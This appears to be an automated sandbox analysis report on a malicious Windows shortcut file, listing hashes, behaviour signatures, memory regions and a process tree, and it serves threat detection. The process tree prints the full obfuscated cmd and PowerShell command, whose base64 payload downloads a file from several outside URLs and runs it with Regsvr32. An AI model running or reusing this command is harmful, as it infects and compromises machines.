Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-11-2024 09:51

General

  • Target

    f94bc7f15a9ba8e439f5adb517a60f66a976b9fc4743e83897ad7303a788f390.lnk

  • Size

    2KB

  • MD5

    7afdcca99d1eccd0dce36db46e742df5

  • SHA1

    00dddf927c115e7af0f0dea7e517eadecf1003b8

  • SHA256

    f94bc7f15a9ba8e439f5adb517a60f66a976b9fc4743e83897ad7303a788f390

  • SHA512

    1de6b03e738baa2b545dddceea6bb8209528fe45cf49c7e2805a4408f32b1cfcb5b99f1b9f6fd7f8bde388e19abad1d7dc55962088ac5bc493e7a3cd4590b373

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\f94bc7f15a9ba8e439f5adb517a60f66a976b9fc4743e83897ad7303a788f390.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4256
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /v:on /c qNARm4qQrno5jsUx94Muu9UAGPhpu2QSUHvDdf3YtfTqGoAFH8dVSTB586lJusgfCxg3//HL||goto&p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$nJ='ICBXcml0ZS1Ib3N0ICJjSHRXTSI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL21pbmthLmNvbS5teC90cmFuc2xhdGlvbnMvMzVJb29GLyIsImh0dHA6Ly9tbW10YWNvc3BkeC5jb20vVm0veXBkSzNMMXZZUlZKaHBOc0RUZDUvIiwiaHR0cDovL21vYXByaW50cy5jb20vUGprRy8iLCJodHRwOi8vbW9vcndvcmxkLmNvbS9hc3BuZXRfY2xpZW50L0pVSldULyIsImh0dHA6Ly9taW5pbWlpLmNvbS9fb2xkL1JSWHhTUllQRlNUZGhVLyIsImh0dHA6Ly9tb3JlbDIuZ290Y2hhaG9zdGluZy5jb20vd3AtYWRtaW4vR0N3d0JCLyIpOyR0PSJVTkdkSiI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFx2dmx4SGdvU05nLkxmWTtSZWdzdnIzMi5leGUgIiRkXHZ2bHhIZ29TTmcuTGZZIjticmVha30gY2F0Y2ggeyB9fQ==';$hl=[System.Convert]::FromBase64String($nJ);$TY=[System.Text.Encoding]::ASCII.GetString($hl); iex ($TY)}"
      2⤵
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:2128
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -c "&{$nJ='ICBXcml0ZS1Ib3N0ICJjSHRXTSI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL21pbmthLmNvbS5teC90cmFuc2xhdGlvbnMvMzVJb29GLyIsImh0dHA6Ly9tbW10YWNvc3BkeC5jb20vVm0veXBkSzNMMXZZUlZKaHBOc0RUZDUvIiwiaHR0cDovL21vYXByaW50cy5jb20vUGprRy8iLCJodHRwOi8vbW9vcndvcmxkLmNvbS9hc3BuZXRfY2xpZW50L0pVSldULyIsImh0dHA6Ly9taW5pbWlpLmNvbS9fb2xkL1JSWHhTUllQRlNUZGhVLyIsImh0dHA6Ly9tb3JlbDIuZ290Y2hhaG9zdGluZy5jb20vd3AtYWRtaW4vR0N3d0JCLyIpOyR0PSJVTkdkSiI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFx2dmx4SGdvU05nLkxmWTtSZWdzdnIzMi5leGUgIiRkXHZ2bHhIZ29TTmcuTGZZIjticmVha30gY2F0Y2ggeyB9fQ==';$hl=[System.Convert]::FromBase64String($nJ);$TY=[System.Text.Encoding]::ASCII.GetString($hl); iex ($TY)}"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1948

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pctn5ofm.hhm.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1948-0-0x00007FFB495A3000-0x00007FFB495A5000-memory.dmp

    Filesize

    8KB

  • memory/1948-10-0x000002759D240000-0x000002759D262000-memory.dmp

    Filesize

    136KB

  • memory/1948-11-0x00007FFB495A0000-0x00007FFB4A061000-memory.dmp

    Filesize

    10.8MB

  • memory/1948-12-0x00007FFB495A0000-0x00007FFB4A061000-memory.dmp

    Filesize

    10.8MB

  • memory/1948-13-0x00000275B8210000-0x00000275B89B6000-memory.dmp

    Filesize

    7.6MB

  • memory/1948-15-0x00007FFB495A3000-0x00007FFB495A5000-memory.dmp

    Filesize

    8KB

  • memory/1948-16-0x00007FFB495A0000-0x00007FFB4A061000-memory.dmp

    Filesize

    10.8MB

  • memory/1948-19-0x00007FFB495A0000-0x00007FFB4A061000-memory.dmp

    Filesize

    10.8MB